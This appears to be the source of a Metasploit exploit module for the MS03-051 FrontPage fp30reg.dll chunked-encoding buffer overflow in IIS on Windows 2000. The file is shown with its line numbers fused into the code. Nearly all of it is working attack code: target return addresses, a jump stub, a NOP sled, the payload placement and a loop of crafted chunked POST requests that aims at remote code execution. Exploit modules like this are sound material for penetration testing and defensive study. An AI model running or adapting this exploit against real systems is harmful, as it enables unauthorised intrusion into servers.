Path: blob/master/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',15'Description' => %q{16This is an exploit for the chunked encoding buffer overflow17described in MS03-051 and originally reported by Brett18Moore. This particular modules works against versions of19Windows 2000 between SP0 and SP3. Service Pack 4 fixes the20issue.21},22'Author' => [ 'hdm' ],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2003-0822'],26[ 'OSVDB', '2952'],27[ 'BID', '9007'],28[ 'MSB', 'MS03-051'],29],30'Privileged' => false,31'Payload' => {32'Space' => 1024,33'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",34'StackAdjustment' => -3500,3536},37'Platform' => 'win',38'Targets' => [39['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll40['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/200241['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/199942],43'DisclosureDate' => '2003-11-11',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),56]57)58end5960def exploit61print_status("Creating overflow request for fp30reg.dll...")6263pat = rand_text_alphanumeric(0xdead)64pat[128, 4] = [target.ret].pack('V')65pat[264, 4] = [target.ret].pack('V')6667# sub eax,0xfffffeff; jmp eax68pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"6970pat[280, 512] = make_nops(512)71pat[792, payload.encoded.length] = payload.encoded72730.upto(15) do |i|74if (i % 3 == 0)75print_status("Refreshing the remote dllhost.exe process...")7677res = send_request_raw({78'uri' => normalize_uri(datastore['URL'])79}, -1)8081if (res and res.body =~ /specified module could not be found/)82print_status("The server states that #{datastore['URL']} does not exist.\n")83return84end85end8687print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")8889res = send_request_raw({90'uri' => normalize_uri(datastore['URL']),91'method' => 'POST',92'headers' =>93{94'Transfer-Encoding' => 'Chunked'95},96'data' => "DEAD\r\n#{pat}\r\n0\r\n"97}, 5)9899if (res and res.body =~ /specified module could not be found/)100print_status("The server states that #{datastore['URL']} does not exist.\n")101return102end103104handler105106select(nil, nil, nil, 1)107end108end109110def check111print_status("Requesting the vulnerable ISAPI path...")112r = send_request_raw({113'uri' => normalize_uri(datastore['URL'])114}, -1)115116if (r and r.code == 501)117return Exploit::CheckCode::Detected118end119120return Exploit::CheckCode::Safe121end122end123124125